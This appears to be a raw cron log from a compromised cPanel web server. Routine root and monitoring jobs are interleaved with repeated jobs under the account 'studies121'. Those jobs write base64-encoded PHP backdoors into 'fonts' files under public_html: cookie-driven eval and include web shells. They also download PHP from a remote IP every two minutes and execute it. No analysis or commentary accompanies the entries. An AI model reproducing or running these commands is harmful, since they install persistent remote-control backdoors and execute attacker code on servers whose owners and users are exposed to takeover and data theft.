Aug 30 14:31:01 ip-184-168-122-23 CROND[28443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:31:01 ip-184-168-122-23 CROND[28445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:31:01 ip-184-168-122-23 CROND[28447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:31:01 ip-184-168-122-23 CROND[28448]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 14:31:01 ip-184-168-122-23 CROND[28449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:32:02 ip-184-168-122-23 CROND[28538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:32:02 ip-184-168-122-23 CROND[28540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:32:02 ip-184-168-122-23 CROND[28541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:32:02 ip-184-168-122-23 CROND[28542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:32:02 ip-184-168-122-23 CROND[28543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:33:01 ip-184-168-122-23 CROND[28642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:33:01 ip-184-168-122-23 CROND[28643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:33:01 ip-184-168-122-23 CROND[28644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:33:01 ip-184-168-122-23 CROND[28646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:34:01 ip-184-168-122-23 CROND[28820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:34:01 ip-184-168-122-23 CROND[28822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:34:01 ip-184-168-122-23 CROND[28823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:34:01 ip-184-168-122-23 CROND[28824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:34:01 ip-184-168-122-23 CROND[28825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:35:01 ip-184-168-122-23 CROND[28917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:35:01 ip-184-168-122-23 CROND[28919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:35:01 ip-184-168-122-23 CROND[28920]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 14:35:01 ip-184-168-122-23 CROND[28922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:35:01 ip-184-168-122-23 CROND[28921]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 14:35:01 ip-184-168-122-23 CROND[28927]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:35:01 ip-184-168-122-23 CROND[28923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:35:01 ip-184-168-122-23 CROND[28925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:36:01 ip-184-168-122-23 CROND[29018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:36:01 ip-184-168-122-23 CROND[29020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:36:01 ip-184-168-122-23 CROND[29021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:36:01 ip-184-168-122-23 CROND[29022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:36:01 ip-184-168-122-23 CROND[29023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:37:01 ip-184-168-122-23 CROND[29124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:37:01 ip-184-168-122-23 CROND[29125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:37:01 ip-184-168-122-23 CROND[29127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:37:01 ip-184-168-122-23 CROND[29128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:38:01 ip-184-168-122-23 CROND[29221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:38:01 ip-184-168-122-23 CROND[29224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:38:01 ip-184-168-122-23 CROND[29223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:38:02 ip-184-168-122-23 CROND[29225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:38:02 ip-184-168-122-23 CROND[29226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:39:01 ip-184-168-122-23 CROND[29401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:39:01 ip-184-168-122-23 CROND[29402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:39:01 ip-184-168-122-23 CROND[29403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:39:01 ip-184-168-122-23 CROND[29404]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 14:39:01 ip-184-168-122-23 CROND[29406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:40:01 ip-184-168-122-23 CROND[29522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:40:01 ip-184-168-122-23 CROND[29524]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 14:40:01 ip-184-168-122-23 CROND[29525]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:40:01 ip-184-168-122-23 CROND[29533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:40:01 ip-184-168-122-23 CROND[29531]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:40:01 ip-184-168-122-23 CROND[29532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:40:01 ip-184-168-122-23 CROND[29529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:40:01 ip-184-168-122-23 CROND[29534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:41:01 ip-184-168-122-23 CROND[29641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:41:01 ip-184-168-122-23 CROND[29642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:41:01 ip-184-168-122-23 CROND[29643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:41:01 ip-184-168-122-23 CROND[29644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:42:01 ip-184-168-122-23 CROND[29736]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:42:01 ip-184-168-122-23 CROND[29738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:42:01 ip-184-168-122-23 CROND[29740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:42:01 ip-184-168-122-23 CROND[29739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:42:01 ip-184-168-122-23 CROND[29741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:43:01 ip-184-168-122-23 CROND[29856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
